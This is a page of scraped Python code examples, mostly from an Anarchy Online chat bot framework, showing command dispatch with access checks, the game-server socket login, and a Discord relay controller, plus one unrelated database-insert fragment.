                lambda x: x is not None,
                map(lambda handler: handler["help"],
                    self.handlers[command_key]))

        content = "\n\n".join(flatmap(read_help_text, data))
        return content if content else None

    def format_help_text(self, topic, help_text):
        return ChatBlob("Help (" + topic + ")", help_text)

    def get_help_file(self, module, help_file):
        if help_file:
            try:
                help_file = "./" + module.replace(".", "/") + "/" + help_file
                with open(help_file) as f:
                    return f.read().strip()
            except FileNotFoundError as e:
                self.logger.error("Error reading help file", e)
        return None

    def get_command_key(self, command, sub_command):
        if sub_command:
            return command + ":" + sub_command
        else:
            return command

    def get_command_key_parts(self, command_str):
        parts = command_str.split(":", 1)
        if len(parts) == 2:
            return parts[0], parts[1]
        else:
            return parts[0], ""

    def get_regex_from_params(self, params):
        # params must be wrapped with line-beginning and line-ending anchors in order to match
        # when no params are specified (eg. "^$")
        return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$"

    def generate_help(self,
                      command,
                      description,
                      params,
                      extended_description=None):
        help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join(
            map(lambda x: x.get_name(), params))
        if extended_description:
            help_text += "\n" + extended_description

        return help_text

    def get_handlers(self, command_key):
        return self.handlers.get(command_key, None)

    def handle_private_message(self, packet: server_packets.PrivateMessage):
        # since the command symbol is not required for private messages,
        # the command_str must have length of at least 1 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 1:
            return

        for regex in self.ignore_regexes:
            if regex.search(packet.message):
                return

        if packet.message[:1] == self.setting_service.get(
                "symbol").get_value():
            command_str = packet.message[1:]
        else:
            command_str = packet.message

        self.process_command(
            command_str, self.PRIVATE_MESSAGE, packet.char_id,
            lambda msg: self.bot.send_private_message(packet.char_id, msg))

    def handle_private_channel_message(
            self, packet: server_packets.PrivateChannelMessage):
        # since the command symbol is required in the private channel,
        # the command_str must have length of at least 2 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 2:
            return

        symbol = packet.message[:1]
        command_str = packet.message[1:]
        if symbol == self.setting_service.get("symbol").get_value(
        ) and packet.private_channel_id == self.bot.char_id:
            self.process_command(
                command_str, self.PRIVATE_CHANNEL, packet.char_id,
                lambda msg: self.bot.send_private_channel_message(msg))

    def handle_public_channel_message(
            self, packet: server_packets.PublicChannelMessage):
        # since the command symbol is required in the org channel,
        # the command_str must have length of at least 2 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 2:
            return

        symbol = packet.message[:1]
        command_str = packet.message[1:]
        if symbol == self.setting_service.get("symbol").get_value(
        ) and self.public_channel_service.is_org_channel_id(packet.channel_id):
            self.process_command(command_str, self.ORG_CHANNEL, packet.char_id,
                                 lambda msg: self.bot.send_org_message(msg))
Example #37
0
class CommandService:
    PRIVATE_MESSAGE_CHANNEL = "msg"

    def __init__(self):
        self.handlers = collections.defaultdict(list)
        self.logger = Logger(__name__)
        self.channels = {}
        self.pre_processors = []
        self.ignore_regexes = [
            re.compile(r" is AFK \(Away from keyboard\) since ",
                       re.IGNORECASE),
            re.compile(r"I am away from my keyboard right now", re.IGNORECASE),
            re.compile(r"Unknown command or access denied!", re.IGNORECASE),
            re.compile(r"I am responding", re.IGNORECASE),
            re.compile(r"I only listen", re.IGNORECASE),
            re.compile(r"Error!", re.IGNORECASE),
            re.compile(r"Unknown command input", re.IGNORECASE),
            re.compile(r"You have been auto invited", re.IGNORECASE),
            re.compile(r"^<font")
        ]

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.access_service: AccessService = registry.get_instance(
            "access_service")
        self.bot = registry.get_instance("bot")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.event_service = registry.get_instance("event_service")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.command_alias_service = registry.get_instance(
            "command_alias_service")
        self.usage_service = registry.get_instance("usage_service")
        self.public_channel_service = registry.get_instance(
            "public_channel_service")
        self.ban_service = registry.get_instance("ban_service")

    def pre_start(self):
        self.bot.register_packet_handler(server_packets.PrivateMessage.id,
                                         self.handle_private_message)

        self.register_command_channel("Private Message",
                                      self.PRIVATE_MESSAGE_CHANNEL)

    def start(self):
        access_levels = {}

        # process decorators
        for _, inst in Registry.get_all_instances().items():
            for name, method in get_attrs(inst).items():
                if hasattr(method, "command"):
                    cmd_name, params, access_level, description, help_file, sub_command, extended_description = getattr(
                        method, "command")
                    handler = getattr(inst, name)
                    help_text = self.get_help_file(inst.module_name, help_file)

                    command_key = self.get_command_key(
                        cmd_name.lower(),
                        sub_command.lower() if sub_command else "")
                    al = access_levels.get(command_key, None)
                    if al is not None and al != access_level.lower():
                        raise Exception(
                            "Different access levels specified for forms of command '%s'"
                            % command_key)
                    access_levels[command_key] = access_level

                    self.register(handler, cmd_name, params, access_level,
                                  description, inst.module_name, help_text,
                                  sub_command, extended_description)

    def register(self,
                 handler,
                 command,
                 params,
                 access_level,
                 description,
                 module,
                 help_text=None,
                 sub_command=None,
                 extended_description=None,
                 check_access=None):
        """
        Call during pre_start

        Args:
            handler: (request, param1, param2, ...) -> str|ChatBlob|None
            command: str
            params: [CommandParam...]
            access_level: str
            description: str
            module: str
            help_text: str
            sub_command: str
            extended_description: str
            check_access: (char_id, access_level_label) -> bool
        """

        if len(inspect.signature(handler).parameters) != len(params) + 1:
            raise Exception(
                "Incorrect number of arguments for handler '%s.%s()'" %
                (handler.__module__, handler.__qualname__))

        command = command.lower()
        if sub_command:
            sub_command = sub_command.lower()
        else:
            sub_command = ""
        access_level = access_level.lower()
        module = module.lower()
        command_key = self.get_command_key(command, sub_command)

        if help_text is None:
            help_text = self.generate_help(command, description, params,
                                           extended_description)

        if check_access is None:
            check_access = self.access_service.check_access

        if not self.access_service.get_access_level_by_label(access_level):
            self.logger.error(
                "Could not add command '%s': could not find access level '%s'"
                % (command, access_level))
            return

        for channel, label in self.channels.items():
            row = self.db.query_single(
                "SELECT access_level, module, enabled, verified "
                "FROM command_config "
                "WHERE command = ? AND sub_command = ? AND channel = ?",
                [command, sub_command, channel])

            if row is None:
                # add new command
                self.db.exec(
                    "INSERT INTO command_config "
                    "(command, sub_command, access_level, channel, module, enabled, verified) "
                    "VALUES (?, ?, ?, ?, ?, 1, 1)",
                    [command, sub_command, access_level, channel, module])
            elif row.verified:
                if row.module != module:
                    self.logger.warning(
                        "module different for different forms of command '%s' and sub_command '%s'"
                        % (command, sub_command))
            else:
                # mark command as verified
                self.db.exec(
                    "UPDATE command_config SET verified = 1, module = ? "
                    "WHERE command = ? AND sub_command = ? AND channel = ?",
                    [module, command, sub_command, channel])

        # save reference to command handler
        r = re.compile(self.get_regex_from_params(params),
                       re.IGNORECASE | re.DOTALL)
        self.handlers[command_key].append({
            "regex": r,
            "callback": handler,
            "help": help_text,
            "description": description,
            "params": params,
            "check_access": check_access
        })

    def register_command_pre_processor(self, pre_processor):
        """
        Call during start

        Args:
            pre_processor: (context) -> bool
        """

        self.pre_processors.append(pre_processor)

    def register_command_channel(self, label, value):
        """
        Call during pre_start

        Args:
            label: str
            value: str
        """

        if value in self.channels:
            self.logger.error(
                "Could not register command channel '%s': command channel already registered"
                % value)
            return

        self.logger.debug("Registering command channel '%s'" % value)
        self.channels[value] = label

    def is_command_channel(self, channel):
        return channel in self.channels

    def process_command(self, message: str, channel: str, char_id, reply,
                        conn):
        try:
            context = DictObject({
                "message": message,
                "char_id": char_id,
                "channel": channel,
                "reply": reply
            })
            for pre_processor in self.pre_processors:
                if pre_processor(context) is False:
                    return

            for regex in self.ignore_regexes:
                if regex.search(message):
                    return

            # message = html.unescape(message)

            command_str, command_args = self.get_command_parts(message)

            # check for command alias
            command_alias_str = self.command_alias_service.get_alias_command_str(
                command_str, command_args)

            alias_depth_count = 0
            while command_alias_str:
                alias_depth_count += 1
                command_str, command_args = self.get_command_parts(
                    command_alias_str)
                command_alias_str = self.command_alias_service.get_alias_command_str(
                    command_str, command_args)

                if alias_depth_count > 20:
                    raise Exception(
                        "Command alias infinite recursion detected for command '%s'"
                        % message)

            cmd_configs = self.get_command_configs(command_str, channel, 1)
            access_level = self.access_service.get_access_level(char_id)
            sender = SenderObj(
                char_id,
                self.character_service.resolve_char_to_name(
                    char_id, "Unknown(%d)" % char_id), access_level)
            if cmd_configs:
                # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str
                cmd_config, matches, handler = self.get_matches(
                    cmd_configs, command_args)
                if matches:
                    if handler["check_access"](char_id,
                                               cmd_config.access_level):
                        response = handler["callback"](
                            CommandRequest(conn, channel, sender, reply),
                            *self.process_matches(matches, handler["params"]))
                        if response is not None:
                            reply(response)

                        # record command usage
                        self.usage_service.add_usage(
                            command_str,
                            self.util.get_handler_name(handler["callback"]),
                            char_id, channel)
                    else:
                        self.access_denied_response(message, sender,
                                                    cmd_config, reply)
                else:
                    # handlers were found, but no handler regex matched
                    data = self.db.query(
                        "SELECT command, sub_command, access_level FROM command_config "
                        "WHERE command = ? AND channel = ? AND enabled = 1",
                        [command_str, channel])

                    help_text = self.format_help_text(data, char_id)
                    if help_text:
                        reply(
                            self.format_help_text_blob(command_str, help_text))
                    else:
                        # the command is known, but no help is returned, therefore character does not have access to command
                        reply("Access denied.")
            else:
                self.handle_unknown_command(command_str, command_args, channel,
                                            sender, reply)
        except Exception as e:
            self.logger.error("error processing command: %s" % message, e)
            reply("There was an error processing your request.")

    def handle_unknown_command(self, command_str, command_args, channel,
                               sender, reply):
        reply(f"Error! Unknown command <highlight>{command_str}</highlight>.")

    def access_denied_response(self, message, sender, cmd_config, reply):
        reply("Access denied.")

    def get_command_parts(self, message):
        parts = message.split(" ", 1)
        if len(parts) == 2:
            return parts[0].lower(), " " + parts[1]
        else:
            return parts[0].lower(), ""

    def get_command_configs(self,
                            command,
                            channel=None,
                            enabled=1,
                            sub_command=None):
        sql = "SELECT command, sub_command, access_level, channel, enabled FROM command_config WHERE command = ?"
        params = [command]
        if channel:
            sql += " AND channel = ?"
            params.append(channel)
        if enabled:
            sql += " AND enabled = ?"
            params.append(enabled)
        if sub_command:
            sql += " AND sub_command = ?"
            params.append(sub_command)

        sql += " ORDER BY sub_command, channel"

        return self.db.query(sql, params)

    def get_matches(self, cmd_configs, command_args):
        for row in cmd_configs:
            command_key = self.get_command_key(row.command, row.sub_command)
            handlers = self.handlers[command_key]
            for handler in handlers:
                matches = handler["regex"].search(command_args)
                if matches:
                    return row, matches, handler
        return None, None, None

    def process_matches(self, matches, params):
        groups = list(matches.groups())

        processed = []
        for param in params:
            processed.append(param.process_matches(groups))
        return processed

    def format_help_text(self, data, char_id, show_regex=False):
        # filter out commands that character does not have access level for
        data = filter(
            lambda row: self.access_service.check_access(
                char_id, row.access_level), data)

        def get_regex(params):
            if show_regex:
                return "\n" + self.get_regex_from_params(params)
            else:
                return ""

        def read_help_text(row):
            command_key = self.get_command_key(row.command, row.sub_command)
            return filter(
                lambda x: x is not None,
                map(
                    lambda handler: handler["help"] + get_regex(handler[
                        "params"]), self.handlers[command_key]))

        content = "\n\n".join(flatmap(read_help_text, data))
        return content if content else None

    def format_help_text_blob(self, topic, help_text):
        return ChatBlob("Help (" + topic + ")", help_text)

    def get_help_file(self, module, help_file):
        if help_file:
            try:
                help_file = "./" + module.replace(".", "/") + "/" + help_file
                with open(help_file, mode="r", encoding="UTF-8") as f:
                    return f.read().strip()
            except FileNotFoundError as e:
                self.logger.error("Error reading help file", e)
        return None

    def get_command_key(self, command, sub_command):
        if sub_command:
            return command + ":" + sub_command
        else:
            return command

    def get_command_key_parts(self, command_str):
        parts = command_str.split(":", 1)
        if len(parts) == 2:
            return parts[0], parts[1]
        else:
            return parts[0], ""

    def get_regex_from_params(self, params):
        # params must be wrapped with line-beginning and line-ending anchors in order to match
        # when no params are specified (eg. "^$")
        return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$"

    def generate_help(self,
                      command,
                      description,
                      params,
                      extended_description=None):
        help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join(
            map(lambda x: x.get_name(), params))
        if extended_description:
            help_text += "\n" + extended_description

        return help_text

    def get_handlers(self, command_key):
        return self.handlers.get(command_key, None)

    def handle_private_message(self, conn: Conn,
                               packet: server_packets.PrivateMessage):
        if not self.setting_service.get("accept_commands_from_slave_bots"
                                        ).get_value() and not conn.is_main:
            return

        # since the command symbol is not required for private messages,
        # the command_str must have length of at least 1 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 1:
            return

        # ignore leading space
        message = packet.message.lstrip()

        def reply(msg):
            if self.bot.mass_message_queue and FeatureFlags.FORCE_LARGE_MESSAGES_FROM_SLAVES and \
                    isinstance(msg, ChatBlob) and len(msg.msg) > FeatureFlags.FORCE_LARGE_MESSAGES_FROM_SLAVES_THRESHOLD:
                self.bot.send_mass_message(packet.char_id, msg, conn=conn)
            else:
                self.bot.send_private_message(packet.char_id, msg, conn=conn)

        self.process_command(self.trim_command_symbol(message),
                             self.PRIVATE_MESSAGE_CHANNEL, packet.char_id,
                             reply, conn)

    def trim_command_symbol(self, s):
        symbol = self.setting_service.get("symbol").get_value()
        if s.startswith(symbol):
            s = s[len(symbol):]
        return s
Example #38
0
                fit = 'Standard'
                lens_id = -1

                if 'Asian' in model_details['name']:
                    fit = 'Asian'

                fit_id = model_dal.get_fit_id(fit)

                lens_id = lens_dal.get_or_create_lens_id(
                    model_details['lens'], 'Eyewear', style['family'],
                    DATA_SOURCE_O_REVIEW_V1_ARCHIVE)

                if lens_id == -1:
                    logger.error(
                        'Failed to find lens for model [{}], style [{}], sku [{}]'
                        .format(model_details['name'], style['name'],
                                model_details['sku']))
                    continue

                logger.info(
                    'Inserting model with name [{}], style [{}], sku [{}]'.
                    format(model_details['name'], style['name'],
                           model_details['sku']))

                model_dal.insert_model(model_details, style['id'], lens_id,
                                       fit_id, DATA_SOURCE_O_REVIEW_V1_ARCHIVE)
            else:
                logger.info(
                    'Model with name [{}] already exists in the database, ignoring...'
                    .format(model['name']))
Example #39
0
class Bot:
    def __init__(self):
        self.socket = None
        self.char_id = None
        self.char_name = None
        self.logger = Logger("Budabot")

    def connect(self, host, port):
        self.logger.info("Connecting to %s:%d" % (host, port))
        self.socket = socket.create_connection((host, port), 10)

    def disconnect(self):
        if self.socket:
            self.socket.shutdown(socket.SHUT_RDWR)
            self.socket.close()
            self.socket = None

    def login(self, username, password, character):
        character = character.capitalize()

        # read seed packet
        self.logger.info(("Logging in as %s" % character))
        seed_packet = self.read_packet()
        seed = seed_packet.seed

        # send back challenge
        key = generate_login_key(seed, username, password)
        login_request_packet = LoginRequest(0, username, key)
        self.send_packet(login_request_packet)

        # read character list
        character_list_packet = self.read_packet()
        index = character_list_packet.names.index(character)

        # select character
        self.char_id = character_list_packet.character_ids[index]
        self.char_name = character_list_packet.names[index]
        login_select_packet = LoginSelect(self.char_id)
        self.send_packet(login_select_packet)

        # wait for OK
        packet = self.read_packet()
        if packet.id == LoginOK.id:
            self.logger.info("Connected!")
            return True
        else:
            self.logger.error("Error logging in: %s" % packet.message)
            return False

    def read_packet(self, time=1):
        """
        Wait for packet from server.
        """

        read, write, error = select.select([self.socket], [], [], time)
        if not read:
            return None
        else:
            # Read data from server
            head = self.read_bytes(4)
            packet_type, packet_length = struct.unpack(">2H", head)
            data = self.read_bytes(packet_length)

            packet = ServerPacket.get_instance(packet_type, data)
            return packet

    def send_packet(self, packet):
        data = packet.to_bytes()
        data = struct.pack(">2H", packet.id, len(data)) + data

        self.write_bytes(data)

    def read_bytes(self, num_bytes):
        data = bytes()

        while num_bytes > 0:
            chunk = self.socket.recv(num_bytes)

            if len(chunk) == 0:
                raise EOFError

            num_bytes -= len(chunk)
            data = data + chunk

        return data

    def write_bytes(self, data):
        num_bytes = len(data)

        while num_bytes > 0:
            sent = self.socket.send(data)

            if sent == 0:
                raise EOFError

            data = data[sent:]
            num_bytes -= sent
Example #40
0
class DiscordController:
    MESSAGE_SOURCE = "discord"
    COMMAND_CHANNEL = "discord"

    def __init__(self):
        self.dthread = None
        self.dqueue = []
        self.aoqueue = []
        self.logger = Logger(__name__)
        self.client = None
        self.command_handlers = []

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.setting_service = registry.get_instance("setting_service")
        self.event_service = registry.get_instance("event_service")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.text: Text = registry.get_instance("text")
        self.command_service = registry.get_instance("command_service")
        self.ban_service = registry.get_instance("ban_service")
        self.message_hub_service = registry.get_instance("message_hub_service")
        self.pork_service = registry.get_instance("pork_service")
        self.alts_service = registry.get_instance("alts_service")
        self.ts: TranslationService = registry.get_instance(
            "translation_service")
        self.getresp = self.ts.get_response

    def pre_start(self):
        self.event_service.register_event_type("discord_ready")
        self.event_service.register_event_type("discord_message")
        self.event_service.register_event_type("discord_channels")
        self.event_service.register_event_type("discord_command")
        self.event_service.register_event_type("discord_invites")

        self.message_hub_service.register_message_source(self.MESSAGE_SOURCE)

        self.command_service.register_command_channel("Discord",
                                                      self.COMMAND_CHANNEL)

    def start(self):
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS discord_char_link (discord_id BIGINT NOT NULL, char_id INT NOT NULL)"
        )

        self.message_hub_service.register_message_destination(
            self.MESSAGE_SOURCE, self.handle_incoming_relay_message, [
                "private_channel", "org_channel", "websocket_relay",
                "tell_relay", "shutdown_notice"
            ], [self.MESSAGE_SOURCE])

        self.register_discord_command_handler(
            self.discord_link_cmd, "discord",
            [Const("link"), Character("ao_character")])
        self.register_discord_command_handler(self.discord_unlink_cmd,
                                              "discord", [Const("unlink")])

        self.ts.register_translation("module/discord", self.load_discord_msg)

        self.setting_service.register(self.module_name, "discord_enabled",
                                      False, BooleanSettingType(),
                                      "Enable the Discord relay")
        self.setting_service.register(self.module_name, "discord_bot_token",
                                      "", HiddenSettingType(allow_empty=True),
                                      "Discord bot token")
        self.setting_service.register(
            self.module_name, "discord_channel_id", "",
            TextSettingType(allow_empty=True),
            "Discord channel id for relaying messages to and from",
            "You can get the Discord channel ID by right-clicking on a channel name in Discord and then clicking \"Copy ID\""
        )
        self.setting_service.register(self.module_name, "discord_embed_color",
                                      "#00FF00", ColorSettingType(),
                                      "Discord embedded message color")
        self.setting_service.register(
            self.module_name, "relay_color_prefix", "#FCA712",
            ColorSettingType(),
            "Set the prefix color for messages coming from Discord")
        self.setting_service.register(
            self.module_name, "relay_color_name", "#808080",
            ColorSettingType(),
            "Set the color of the name for messages coming from Discord")
        self.setting_service.register(
            self.module_name, "relay_color_message", "#00DE42",
            ColorSettingType(),
            "Set the color of the content for messages coming from Discord")

        self.setting_service.register_change_listener(
            "discord_channel_id", self.update_discord_channel)
        self.setting_service.register_change_listener(
            "discord_enabled", self.update_discord_state)

    def load_discord_msg(self):
        with open("modules/standard/discord/discord.msg",
                  mode="r",
                  encoding="utf-8") as f:
            return hjson.load(f)

    @command(command="discord",
             params=[],
             access_level="member",
             description="See Discord info")
    def discord_cmd(self, request):
        servers = ""
        if self.client and self.client.guilds:
            for server in self.client.guilds:
                invites = self.text.make_tellcmd(
                    self.getresp("module/discord", "get_invite"),
                    "discord getinvite %s" % server.id)
                owner = server.owner.nick or re.sub(
                    pattern=r"#\d+", repl="", string=str(server.owner))
                servers += self.getresp(
                    "module/discord", "server", {
                        "server_name": server.name,
                        "invite": invites,
                        "m_count": str(len(server.members)),
                        "owner": owner
                    })
        else:
            servers += self.getresp("module/discord", "no_server")

        subs = ""
        for channel in self.get_text_channels():
            subs += self.getresp("module/discord", "sub", {
                "server_name": channel.guild.name,
                "channel_name": channel.name
            })
        status = self.getresp(
            "module/discord",
            "connected" if self.is_connected() else "disconnected")
        blob = self.getresp(
            "module/discord", "blob", {
                "connected": status,
                "count": len(self.get_text_channels()),
                "servers": servers,
                "subs": subs
            })

        return ChatBlob(self.getresp("module/discord", "title"), blob)

    @command(command="discord",
             params=[Const("relay")],
             access_level="moderator",
             sub_command="manage",
             description="Setup relaying of channels")
    def discord_relay_cmd(self, request, _):
        connect_link = self.text.make_tellcmd(
            self.getresp("module/discord", "connect"),
            "config setting discord_enabled set true")
        disconnect_link = self.text.make_tellcmd(
            self.getresp("module/discord", "disconnect"),
            "config setting discord_enabled set false")
        constatus = self.getresp(
            "module/discord",
            "connected" if self.is_connected() else "disconnected")
        subs = ""
        for channel in self.get_text_channels():
            select_link = self.text.make_tellcmd(
                "select",
                "config setting discord_channel_id set %s" % channel.id)
            selected = "(selected)" if self.setting_service.get(
                "discord_channel_id").get_value() == channel.id else ""
            subs += self.getresp(
                "module/discord", "relay", {
                    "server_name": channel.guild.name,
                    "channel_name": channel.name,
                    "select": select_link,
                    "selected": selected
                })

        blob = self.getresp(
            "module/discord", "blob_relay", {
                "connected": constatus,
                "connect_link": connect_link,
                "disconnect_link": disconnect_link,
                "count": len(self.get_text_channels()),
                "subs": subs
            })

        return ChatBlob(self.getresp("module/discord", "relay_title"), blob)

    @command(command="discord",
             params=[Const("confirm"), Int("discord_id")],
             access_level="member",
             description="Confirm link of a Discord user")
    def discord_confirm_cmd(self, request, _, discord_id):
        main = self.alts_service.get_main(request.sender.char_id)
        if main.char_id != request.sender.char_id:
            return self.getresp("module/discord", "must_run_from_main",
                                {"char": main.name})

        self.db.exec(
            "DELETE FROM discord_char_link WHERE discord_id = ? OR char_id = ?",
            [discord_id, main.char_id])
        self.db.exec(
            "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)",
            [discord_id, main.char_id])

        return self.getresp("module/discord", "link_success",
                            {"discord_user": discord_id})

    @command(command="discord",
             params=[Const("getinvite"), Int("server_id")],
             access_level="member",
             description="Get an invite for specified server",
             sub_command="getinvite")
    def discord_getinvite_cmd(self, request, _, server_id):
        if self.client and self.client.guilds:
            for server in self.client.guilds:
                if server.id == server_id:
                    self.send_to_discord("get_invite",
                                         (request.sender.name, server))
                    return
        return self.getresp("module/discord", "no_dc", {"id": server_id})

    @timerevent(budatime="1s",
                description="Discord relay queue handler",
                is_hidden=True)
    def handle_discord_queue_event(self, event_type, event_data):
        if self.dqueue:
            dtype, message = self.dqueue.pop(0)

            if dtype == "discord_message":
                if message.channel.type == ChannelType.private or message.content.startswith(
                        self.setting_service.get("symbol").get_value()):
                    self.handle_discord_command_event(message)
                else:
                    self.handle_discord_message_event(message)
            elif dtype == "discord_ready":
                self.send_to_discord(
                    "msg",
                    DiscordTextMessage(
                        f"{self.bot.get_primary_conn().get_char_name()} is now connected."
                    ))

            self.event_service.fire_event(dtype, message)

    @timerevent(budatime="1m",
                description="Ensure the bot is connected to Discord",
                is_enabled=False,
                is_hidden=True,
                run_at_startup=True)
    def handle_connect_event(self, event_type, event_data):
        if not self.is_connected():
            self.connect_discord_client()

    @event(event_type=AltsService.MAIN_CHANGED_EVENT_TYPE,
           description="Update discord character link when a main is changed",
           is_hidden=True)
    def handle_main_changed(self, event_type, event_data):
        old_row = self.db.query_single(
            "SELECT discord_id FROM discord_char_link WHERE char_id = ?",
            [event_data.old_main_id])
        if old_row:
            new_row = self.db.query_single(
                "SELECT discord_id FROM discord_char_link WHERE char_id = ?",
                [event_data.new_main_id])
            if not new_row:
                self.db.exec(
                    "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)",
                    [old_row.discord_id, event_data.new_main_id])

    @event(event_type="discord_invites",
           description="Handles invite requests",
           is_hidden=True)
    def handle_discord_invite_event(self, event_type, event_data):
        char_name = event_data[0]
        invites = event_data[1]

        blob = ""
        server_invites = ""
        if len(invites) > 0:
            for invite in invites:
                link = self.text.make_chatcmd(
                    self.getresp("module/discord", "join"),
                    "/start %s" % invite.url)
                timeleft = "Permanent" if invite.max_age == 0 else str(
                    datetime.timedelta(seconds=invite.max_age))
                used = str(invite.uses) if invite.uses is not None else "N/A"
                useleft = str(
                    invite.max_uses) if invite.max_uses is not None else "N/A"
                if invite.channel is not None:
                    channel = self.getresp("module/discord", "inv_channel",
                                           {"channel": invite.channel.name})
                else:
                    channel = None
                server_invites += self.getresp(
                    "module/discord", "invite", {
                        "server": invite.guild.name,
                        "link": link,
                        "time_left": timeleft,
                        "count_used": used,
                        "count_left": useleft,
                        "channel": channel
                    })
            blob += self.getresp("module/discord", "blob_invites",
                                 {"invites": server_invites})

        else:
            blob += "No invites currently exist."

        char_id = self.character_service.resolve_char_to_id(char_name)
        self.bot.send_private_message(
            char_id,
            ChatBlob(self.getresp("module/discord", "invite_title"), blob))

    def handle_discord_command_event(self, message):
        if not self.find_discord_command_handler(message):
            reply = partial(self.discord_command_reply,
                            channel=message.channel)
            row = self.db.query_single(
                "SELECT char_id FROM discord_char_link WHERE discord_id = ?",
                [message.author.id])
            if row:
                message_str = self.command_service.trim_command_symbol(
                    message.content)
                self.command_service.process_command(
                    message_str, self.COMMAND_CHANNEL, row.char_id, reply,
                    self.bot.get_primary_conn())
            else:
                reply(self.getresp("module/discord",
                                   "discord_user_not_linked"))

    def handle_discord_message_event(self, message):
        if isinstance(message.author, Member):
            name = message.author.nick or message.author.name
        else:
            name = message.author.name

        chanclr = self.setting_service.get("relay_color_prefix")
        nameclr = self.setting_service.get("relay_color_name")
        mesgclr = self.setting_service.get("relay_color_message")

        formatted_message = "<grey>[</grey>%s<grey>]</grey> %s<grey>:</grey> %s" % (
            chanclr.format_text("Discord"), nameclr.format_text(name),
            mesgclr.format_text(message.content))

        self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, None,
                                              formatted_message)

    def find_discord_command_handler(self, message):
        message_str = self.command_service.trim_command_symbol(message.content)
        command_str, command_args = self.command_service.get_command_parts(
            message_str)
        for handler in self.command_handlers:
            if handler.command == command_str:
                matches = handler.regex.search(command_args)

                if matches:
                    ctx = DictObject({"message": message})

                    handler.callback(
                        ctx,
                        partial(self.discord_command_reply,
                                channel=message.channel),
                        self.command_service.process_matches(
                            matches, handler.params))
                    return True
        return False

    def discord_command_reply(self, content, title=None, channel=None):
        if isinstance(content, ChatBlob):
            if not title:
                title = content.title

            content = content.page_prefix + content.msg + content.page_postfix

        if not title:
            title = "Command"
        title = self.format_message(title)

        if isinstance(content, str):
            msgcolor = self.setting_service.get(
                "discord_embed_color").get_int_value()
            pages = self.text.split_by_separators(self.format_message(content),
                                                  2048)  # discord max is 2048
            num_pages = len(pages)
            page_title = title
            for page_num, page in enumerate(pages, start=1):
                if num_pages > 1:
                    page_title = title + f" (Page {page_num} / {num_pages})"
                self.send_to_discord(
                    "command_reply",
                    DiscordEmbedMessage(page_title, page, msgcolor, channel))
            return

        if isinstance(content, DiscordMessage):
            self.send_to_discord("command_reply", content)
        else:
            self.logger.error("unable to process message for discord: " +
                              content)

    def format_message(self, msg):
        msg = re.sub(r"<header>(.*?)</header>\n?", r"```less\n\1\n```", msg)
        msg = re.sub(r"<header2>(.*?)</header2>\n?", r"```yaml\n\1\n```", msg)
        msg = re.sub(r"<highlight>(.*?)</highlight>", r"`\1`", msg)
        return self.strip_html_tags(msg)

    def register_discord_command_handler(self, callback, command_str, params):
        """Call during start"""
        r = re.compile(self.command_service.get_regex_from_params(params),
                       re.IGNORECASE | re.DOTALL)
        self.command_handlers.append(
            DictObject({
                "callback": callback,
                "command": command_str,
                "params": params,
                "regex": r
            }))

    def connect_discord_client(self):
        token = self.setting_service.get("discord_bot_token").get_value()
        if not token:
            self.logger.warning(
                "Unable to connect to Discord, discord_bot_token has not been set"
            )
        else:
            self.disconnect_discord_client()

            self.client = DiscordWrapper(
                self.setting_service.get("discord_channel_id").get_value(),
                self.dqueue, self.aoqueue)

            self.dthread = threading.Thread(target=self.run_discord_thread,
                                            args=(self.client, token),
                                            daemon=True)
            self.dthread.start()

    def run_discord_thread(self, client, token):
        try:
            self.logger.info("connecting to discord")
            client.loop.create_task(client.start(token))
            client.loop.run_until_complete(client.relay_message())
        except Exception as e:
            self.logger.error("discord connection lost", e)

    def disconnect_discord_client(self):
        if self.client:
            self.client.loop.create_task(
                self.client.logout_with_message(
                    f"{self.bot.get_primary_conn().get_char_name()} is disconnecting..."
                ))
            self.client = None
        if self.dthread:
            self.dthread.join()
            self.dthread = None
        self.dqueue = []
        self.aoqueue = []

    def strip_html_tags(self, html):
        s = MLStripper()
        s.feed(html)
        return s.get_data()

    def discord_link_cmd(self, ctx, reply, args):
        char = args[1]
        if not char.char_id:
            reply(self.getresp("global", "char_not_found",
                               {"char": char.name}))
            return

        main = self.alts_service.get_main(char.char_id)
        if main.char_id != char.char_id:
            reply(self.getresp("module/discord", "must_link_main"))
            return

        author = ctx.message.author
        discord_user = "******" % (author.name, author.discriminator,
                                       author.id)
        blob = self.getresp(
            "module/discord", "confirm_instructions", {
                "discord_user":
                discord_user,
                "confirm_link":
                self.text.make_tellcmd("Confirm",
                                       "discord confirm %d" % author.id)
            })
        self.bot.send_private_message(char.char_id,
                                      ChatBlob("Discord Confirm Link", blob))

        reply(
            self.getresp("module/discord", "link_response",
                         {"char": char.name}))

    def discord_unlink_cmd(self, ctx, reply, args):
        self.db.exec("DELETE FROM discord_char_link WHERE discord_id = ?",
                     [ctx.message.author.id])

        reply(self.getresp("module/discord", "unlink_success"))

    def is_connected(self):
        # not self.client or not self.dthread.is_alive()
        return self.client and self.client.is_ready(
        ) and self.dthread and self.dthread.is_alive()

    def get_char_info_display(self, char_id):
        char_info = self.pork_service.get_character_info(char_id)
        if char_info:
            name = self.strip_html_tags(self.text.format_char_info(char_info))
        else:
            name = self.character_service.resolve_char_to_name(char_id)

        return name

    def send_to_discord(self, message_type, data):
        self.aoqueue.append((message_type, data))

    def handle_incoming_relay_message(self, ctx):
        if not self.is_connected():
            return

        message = DiscordTextMessage(
            self.strip_html_tags(ctx.formatted_message))
        self.send_to_discord("msg", message)

    def get_text_channels(self):
        if self.client:
            return self.client.get_text_channels()
        else:
            return []

